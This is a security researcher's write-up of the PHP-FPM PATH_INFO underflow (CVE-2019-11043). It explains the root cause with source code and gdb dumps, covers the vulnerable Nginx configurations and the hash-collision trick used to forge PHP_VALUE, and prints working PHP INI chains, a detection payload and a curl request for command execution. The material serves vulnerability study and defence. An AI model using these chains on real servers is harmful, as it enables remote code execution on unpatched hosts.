An analysis and thought about recently PHP-FPM RCE (CVE-2019-11043)

First of all, this is such a really interesting bug! From a small memory defect to code execution. It combines both binary and web technique so that’s why it interested me to trace into. This is just a simple analysis, you can also check the bug report and the author neex’s exploit to know the original story :D

Originally, this write-up should be published earlier, but I am now traveling and don’t have enough time. Sorry for the delay :(

The root cause

PHP-FPM wrongly handles the PATH_INFO, which leads to a buffer underflow. Although it’s not vulnerable by default, there are still numerous vulnerable configurations that sysadmins would copy & paste from Google and StackOverflow.

When the fastcgi_split_path_info directive is parsing a URI with newline, the env_path_info becomes an empty value. And due to the cgi.fix_pathinfo, the empty value is used(fpm_main.c#L1151) to calculate the real path_info later. 

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int ptlen = strlen(pt);
int slen = len - ptlen;
int pilen = env_path_info ? strlen(env_path_info) : 0;
int tflag = 0;
char *path_info;
if (apache_was_here) {
    /* recall that PATH_INFO won't exist */
    path_info = script_path_translated + ptlen;
    tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
    path_info = env_path_info ? env_path_info + pilen - slen : NULL;
    tflag = (orig_path_info != path_info);
}

Please note that the pilen is zero and slen is the original URI length minus the real file-path length, so there is a buffer underflow. path_info can point to somewhere before it should be.

The exploitation

With this buffer underflow, we have a limited(and small) buffer access. What can we do? The author leverages the fpm_main.c#L1161 to do further actions. 

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path_info[0] = 0;

As the path_info points ahead of PATH_INFO, we can write a single null-byte to the position before path_info.

A. From null-byte writing to CGI environment overwritten

OK, now we can write a single null-byte to somewhere before PATH_INFO, and then? In PHP-FPM, the CGI environments are stored in fcgi_data_seg structure, and managed by structure fcgi_hash. 

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typedef struct _fcgi_data_seg {
    char                  *pos;
    char                  *end;
    struct _fcgi_data_seg *next;
    char                   data[1];
} fcgi_data_seg;

typedef struct _fcgi_hash {
    fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
    fcgi_hash_bucket  *list;
    fcgi_hash_buckets *buckets;
    fcgi_data_seg     *data;
} fcgi_hash;

The fcgi_data_seg in memory looks like: 

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gdb-peda$ p *request.env.data
$3 = {
  pos = 0x556578555537 "7UUxeU",
  end = 0x5565785564d8 "",
  next = 0x556578554490,
  data = "P"
}

gdb-peda$ x/50s request.env.data.data
0x5565785544a8: "FCGI_ROLE"
0x5565785544b2: "RESPONDER"
0x5565785544bc: "SCRIPT_FILENAME"
0x5565785544cc: "/var/www/html/test.php"
0x5565785544e3: "QUERY_STRING"
0x5565785544f0: ""
0x5565785544f1: "REQUEST_METHOD"
0x556578554500: "GET"
...
0x556578554656: "SERVER_NAME"
0x556578554662: "_"
0x556578554664: "REDIRECT_STATUS"
0x556578554674: "200"
0x556578554678: "PATH_INFO"
0x556578554682: "/", 'a' <repeats 13 times>, ".php"    <--- the `path_info` points to
0x556578554695: "HTTP_HOST"
0x55657855469f: "127.0.0.1"

The structure member fcgi_data_seg->pos points to the current buffer - fcgi_data_seg->data to let PHP-FPM know where to write, and fcgi_data_seg->end points to the buffer end. If the buffer reaches the end(pos > end). PHP-FPM creates a new buffer and moves the previous one to the structure member fcgi_data_seg->next.

So, the idea is to make path_info points to the location of fcgi_data_seg->pos. Once we achieve that, we can abuse the CGI environment management! For example, here we adjust the path_info points to the fcgi_data_seg->pos. 

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gdb-peda$ frame
#0  init_request_info () at /home/orange/php-src/sapi/fpm/fpm/fpm_main.c:1161
1161                         path_info[0] = 0;

gdb-peda$ x/xg path_info
0x5565785554c0: 0x0000556578555537

gdb-peda$ x/g request.env.data
0x5565785554c0: 0x0000556578555537

gdb-peda$ p (fcgi_data_seg)*request.env.data
$2 = {
  pos = 0x556578555537 "",
  end = 0x5565785564d8 "",
  next = 0x556578554490,
  data = "P"
}

gdb-peda$ x/15s (char **)request.env.data.data
0x5565785554d8: "PATH_INFO"
0x5565785554e2: ""
0x5565785554e3: "HTTP_HOST"
0x5565785554ed: "127.0.0.1"
0x5565785554f7: "HTTP_ACCEPT_ENCODING"
0x55657855550c: 'A' <repeats 11 times>
0x556578555518: "HTTP_LAYS"
0x556578555522: "NOGG"
0x556578555527: "ORIG_PATH_INFO"
0x556578555536: ""
0x556578555537: ""                           <--- the original `request.env.data.pos`
0x556578555538: ""
0x556578555539: ""
0x55657855553a: ""
0x55657855553b: ""

This is the memory layout of request.env.data.

Once the line path_info[0] = 0; has been executed, the memory layout becomes:

As the request.env.data.pos has been written, and changed to a new location: 

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gdb-peda$ next
...

gdb-peda$ p (fcgi_data_seg)*request.env.data
$4 = {
  pos = 0x556578555500 "PT_ENCODING",
  end = 0x5565785564d8 "",
  next = 0x556578554490,
  data = "P"
}

gdb-peda$ x/10s (char **)request.env.data.pos
0x556578555500: "PT_ENCODING"
0x55657855550c: 'A' <repeats 11 times>
0x556578555518: "HTTP_LAYS"
0x556578555522: "NOGG"
0x556578555527: "ORIG_PATH_INFO"
0x556578555536: ""
0x556578555537: ""
0x556578555538: ""
0x556578555539: ""
0x55657855553a: ""

As you can see, the request.env.data.pos is shifted to the middle of an environment variable. The next time PHP-FPM put a new CGI environment, it will overwrite the existing one. 

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#define FCGI_PUTENV(request, name, value) \
 fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value)

char* fcgi_putenv(fcgi_request *req, char* var, int var_len, char* val)
{
 if (!req) return NULL;
 if (val == NULL) {
  fcgi_hash_del(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len);
  return NULL;
 } else {
  return fcgi_hash_set(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len, val, (unsigned int)strlen(val));
 }
}

static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
{

    unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
    fcgi_hash_bucket *p = h->hash_table[idx];

    // ...

    p->var = fcgi_hash_strndup(h, var, var_len);
    p->val_len = val_len;
    p->val = fcgi_hash_strndup(h, val, val_len);
    return p->val;
}

static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
    char *ret;

    // ...

    ret = h->data->pos;                             <--- we have corrupted the `pos` :D
    memcpy(ret, str, str_len);
    ret[str_len] = 0;
    h->data->pos += str_len + 1;
    return ret;
}

And it’s lucky, there is a FCGI_PUTENV right after the null-byte writing: 

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old = path_info[0];
path_info[0] = 0;
if (!orig_script_name ||
    strcmp(orig_script_name, env_path_info) != 0) {
    if (orig_script_name) {
        FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);        <--- here
    }
    SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
} else {
    SG(request_info).request_uri = orig_script_name;
}
path_info[0] = old;

It puts the name ORIG_SCRIPT_NAME and our controllable value into the CGI environments so that we can overwrite some important environments! …and then?

B. From CGI environment overwritten to Remote Code Execution

Now we can overwrite environments, how to turn it into the RCE?

After the null-byte writing, the PHP-FPM retrieves the environment PHP_VALUE to initial the PHP stuff. So that’s our target!

However, although we can overwrite the environment data. To forge the PHP_VALUE is still not easy. We can not just overwrite the existing environments key to PHP_VALUE and profit. After checking the source, we found the problem is PHP-FPM uses a hash table to manage environments. Without corrupting the table, we can’t insert a new environment!

PHP-FPM stores each environment variable in structure fcgi_hash_bucket. 

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typedef struct _fcgi_hash_bucket {
    unsigned int              hash_value;
    unsigned int              var_len;
    char                     *var;
    unsigned int              val_len;
    char                     *val;
    struct _fcgi_hash_bucket *next;
    struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;

There are also some checks before PHP-FPM retrieve the environment variable: 

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static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
{
    unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
    fcgi_hash_bucket *p = h->hash_table[idx];

    while (p != NULL) {
        if (p->hash_value == hash_value &&
            p->var_len == var_len &&
            memcmp(p->var, var, var_len) == 0) {
            *val_len = p->val_len;
            return p->val;
        }
        p = p->next;
    }
    return NULL;
}

PHP-FPM first retrieves the environment structure from the hash table, and then check the hash_value, var_len and content. We can forge the content, but how to forge the hash_value and var_len? OK, let’s do it!

The hash algorithm in PHP-FPM is simple. 

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#define FCGI_HASH_FUNC(var, var_len) \
    (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
        (((unsigned int)var[3]) << 2) + \
        (((unsigned int)var[var_len-2]) << 4) + \
        (((unsigned int)var[var_len-1]) << 2) + \
        var_len)

For the PHP_VALUE, its hash value is ('_'<<2) + ('U'<<4) + ('E'<<) + 9 = 2015. The author sends a HTTP header HTTP_EBUT, and its hash value is ('P'<<2) + ('U'<<4) + ('T'<<2) + 9 = 2015. The fake header has been stored in the hash table. Once we trigger the vulnerability and overwrite the HTTP_EBUT to PHP_VALUE, the forged one becomes valid! Both variables have the same hash_value and var_len, and now, they have the same key content!

We can create arbitrary PHP_VALUE now. To get code execution seems easy! The author create a series of PHP INI chains to get code execution. 

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var chain = []string{
    "short_open_tag=1",
    "html_errors=0",
    "include_path=/tmp",
    "auto_prepend_file=a",
    "log_errors=1",
    "error_reporting=2",
    "error_log=/tmp/a",
    "extension_dir=\"<?=`\"",
    "extension=\"$_GET[a]`?>\"",
}

Write a working exploit

OK, here we have all the details. However, it’s still hard to write the exploit. Although our steps are straightforward, there are still several obstacles making the exploit unstable and unexploitable… :(

A. The Nginx obstacle

The first obstacle is the Nginx configuration. As the PHP is an independent package from Nginx. To make the Nginx handle PHP scripts, there are many settings required in the configuration. Here we classified the configurations into 4 aspect.

  1. Is PATH_INFO supported? Because PATH_INFO is not a necessary feature. If there is no fastcgi_param PATH_INFO $blah; in Nginx configuration, you are safe!

  2. The PHP dispatcher - In order to dispatch requests to PHP-FPM. Sysadmin must set a regular expression to match the URI. There are several ways to capture that, and the most common two situations are:

    1. The setting from Nginx official manual 
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      location ~ [^/]\.php(/|$) {
          # ...
      }
    2. The default Nginx configuration snippet on current Linux dists 
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      location ~ \.php$ {
          # ...
      }
      Both two ways are very common in the world. Although the meaning looks like the same, the exploitation is absolutely different! We will introduce this in next section.

  3. Is the file existed?

    The default Nginx configuration checks the file existence before sending it to PHP-FPM. You may see the following configuration: 

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    location ~ [^/]\.php(/|$) {
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        if (!-f $document_root$fastcgi_script_name) {
            return 404;
        }
    }

    or 

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    location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        try_files $fastcgi_script_name =404;
    }

    However, it’s still possible to be removed due to scalability or performance issues. For example, just imagine Nginx and PHP-FPM are not on the same server!

  4. The PATH_INFO sequential problem

    From the neex’s exploit, he adjust the buffer by increasing the length of QUERY_STRING. But what if the PATH_INFO comes before the QUERY_STRING? You can not control the PATH_INFO to the region you want. Actually, in my default installed Nginx on Ubuntu 18.04 and 16.04. The configuration looks like this: 

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    # ------------------------------------
    # /etc/nginx/sites-enabled/nginx.conf 

    location ~ \.php$ {
          include snippets/fastcgi-php.conf;

          # With php7.0-cgi alone:
          fastcgi_pass 127.0.0.1:9000;
          # With php7.0-fpm:
          fastcgi_pass unix:/run/php/php7.0-fpm.sock;
    }

    # ------------------------------------
    # /etc/nginx/snippets/fastcgi-php.conf

    # regex to split $uri to $fastcgi_script_name and $fastcgi_path
    fastcgi_split_path_info ^(.+\.php)(/.+)$;

    # Check that the PHP script exists before passing it
    try_files $fastcgi_script_name =404;

    # Bypass the fact that try_files resets $fastcgi_path_info
    # see: http://trac.nginx.org/nginx/ticket/321
    set $path_info $fastcgi_path_info;
    fastcgi_param PATH_INFO $path_info;

    fastcgi_index index.php;
    include fastcgi.conf;

    # ------------------------------------
    # /etc/nginx/fastcgi.conf

    fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
    fastcgi_param  QUERY_STRING       $query_string;
    fastcgi_param  REQUEST_METHOD     $request_method;
    fastcgi_param  CONTENT_TYPE       $content_type;
    fastcgi_param  CONTENT_LENGTH     $content_length;

    # ...

    As you can see, the PATH_INFO are defined before the QUERY_STRING, so the original exploit doesn’t cover that. That’s also the reason why I trace into this bug!

So, the Nginx configuration greatly affects this vulnerability. For the obstacle No.1 and No.3, it’s hopeless and unexploitable. About how to improve obstacle No.2 and No.4, we leave it for the last section!

However, a fun fact is that if you install the Nginx and PHP-FPM on Ubuntu(16.04/18.04) thought the apt package manager. You can remove just one line(try_files) and make your service vulnerable :P

B. Vulnerability verification problem

Before exploiting the target, we need to check if the target is vulnerable or not. Because the remote Nginx configuration is unknown, we need to find a reliable way to trigger the environment overwrite. Here the author leverage the double buffer mechanism!

As I mentioned before:

If the buffer reaches the end(pos > end). PHP-FPM creates a new buffer and put the previous one to the structure member fcgi_data_seg->next.

The neex’s exploit enlarges the QUERY_STRING to force PHP-FPM allocate a new buffer and therefore place the PATH_INFO buffer at the right location. As long as the PATH_INFO is on the top of the new fcgi_data_seg->data buffer, we know the offset from the PATH_INFO to fcgi_data_seg->pos is 34.

We fixed our PATH_INFO length to 34 so that we can exactly place the null-byte in the right address. Due to the PHP-FPM implementation, the HTTP headers must be right after the PATH_INFO, and we can designed the context like: 

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gdb-peda$ x/10s request.env.data.data
0x55c8cc0e74d8: "PATH_INFO"
0x55c8cc0e74e2: ""
0x55c8cc0e74e3: "HTTP_HOST"
0x55c8cc0e74ed: "127.0.0.1"
0x55c8cc0e74f7: "HTTP_DUMMY_HEADERSSS"
0x55c8cc0e750c: 'A' <repeats 11 times>
0x55c8cc0e7518: "HTTP_EBUT"
0x55c8cc0e7522: "NOGG"
0x55c8cc0e7527: "ORIG_PATH_INFO"
0x55c8cc0e7536: ""

gdb-peda$ x/6s request.env.data.pos
0x55c8cc0e7500: "Y_HEADERSSS"
0x55c8cc0e750c: 'A' <repeats 11 times>
0x55c8cc0e7518: "HTTP_EBUT"
0x55c8cc0e7522: "NOGG"
0x55c8cc0e7527: "ORIG_PATH_INFO"
0x55c8cc0e7536: ""

We then adjust the length of HTTP_DUMMY_HEADER to exactly overwrite the HTTP_EBUT and its value to PHP_VALUE\nsession.auto_start=1;;;.

This is the memory view before the environment variable is written on fpm_main.c#1165. 

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gdb-peda$ p *request.env.buckets
...
{
      hash_value = 0x7e9,
      var_len = 0x9,
      var = 0x55c8cc0e7518 "HTTP_BBUT",
      val_len = 0x4,
      val = 0x55c8cc0e7522 "NOGG",
      next = 0x55c8cc0e4aa0,
      list_next = 0x55c8cc0e4c80
}

This is the memory view after the environment variable is written.

While the session.auto_start is changed to 1, we can just check the set-cookie header in HTTP response to know whether our exploit succeeds or not!

C. The length limitation

As we mentioned before, we fixed our PATH_INFO length to 34 so that we can exactly place the null-byte in the right address. The previous detect payload is good and short enough, and this is also the simplest detect method. It’s also the first situation in our the PHP dispatcher section.

However, in another scenario, the URI must end with .php so that our payload must be less than 34 bytes. Otherwise, if we plus the the .php suffix, the original detect payload will become 35 bytes… 

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PHP_VALUE\nsession.auto_start=1;.php

Due to the length limitation, most of the INI stuff are too long, and building a code execution chain becomes harder… :(

Improve the exploit

After I had deeper understanding of this, I kept thinking if there is any way to improve the exploit.

A. The PATH_INFO sequential problem

It’s easy. Because the PATH_INFO is ahead of QUERY_STRING, and there are no SCRIPT_FILENAME, SCRIPT_NAME and REQUEST_URI to interfere our alignment. We can just pad on the PATH_INFO itself to enlarge the buffer!

B. How to detect the vulnerability

You can just put a single newline in the PATH_INFO and increase the PATH_INFO and QUERY_STRING length(depend on situations). If the PHP-FPM crashes, that means you got it :P

If there is a PHPINFO page. To detect the vulnerability is more easy, you can just fetch the /info.php/%0a.php and observe the $_SERVER[‘PATH_INFO’] is corrupted or not!

C. Bypass the length limitation

It’s not easy to bypass that. Due to the .php suffix, we have only two options. The first choice is building the payloads under constraint, and the other one is to bypass the constraint!

The first one is to build the payload under constraint. The neex’s exploit leverage another CGI environment REQUEST_BODY_FILE to control more bytes on error messages. This is genius!

My method is to leverage the output_method directive. Here is the RCE chain I built: 

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inis = [
    "error_reporting=2",
    "short_open_tag=1",
    "html_errors=0",
    "log_errors=1",
    "output_handler=<?/*",
    "output_handler=*/`",
    "output_handler=''",
    "extension_dir='`?>'",
    "extension=$_GET[a]",
    "error_log  = /tmp/l",
    "include_path=/tmp",
]

And the /tmp/l.php looks like: 

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[27-Oct-2019 13:55:05 UTC] PHP Warning:  Unknown: failed to open stream: No such file or directory in Unknown on line 0
[27-Oct-2019 13:55:05 UTC] PHP Warning:  Unknown: function '<?/*.php' not found or invalid function name in Unknown on line 0
[27-Oct-2019 13:55:05 UTC] PHP Warning:  Unknown: function '*/`' not found or invalid function name in Unknown on line 0
[27-Oct-2019 13:55:05 UTC] PHP Warning:  Unknown: Unable to load dynamic library '$_GET[a]' (tried: `?>.php/$_GET[a] (`?>.php/$_GET[a]: cannot open shared object file: No such file or directory), `?>.php/$_GET[a].so (`?>.php/$_GET[a].so: cannot open shared object file: No such file or directory)) in Unknown on line 0

We put a lot of garbage into the backtick, of course, including our $_GET[a], so we can simply use the newline to execute arbitrary command. 

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curl "http://localhost/index.php?a=%0asleep+5%0a"

About the constraint bypass, my idea is to pop the previous environment onto the newly fcgi_data_seg->data buffer. In most Nginx configurations, the environment variable before PATH_INFO is usually REDIRECT_STATUS=200. So we can pop the string 200 onto the buffer and extend the controllable space size from 34 to 37 bytes! That’s enough to fit all payloads including the .php suffix! This idea works on my local environment, and I am now trying to make exploit more reliable :D

OK, this is whole the detail about the recently PHP-FPM 2019-11043. If you have any further idea for making the exploit more reliable and exploitable, please let me know and contribute back to the original author’s GitHub repo!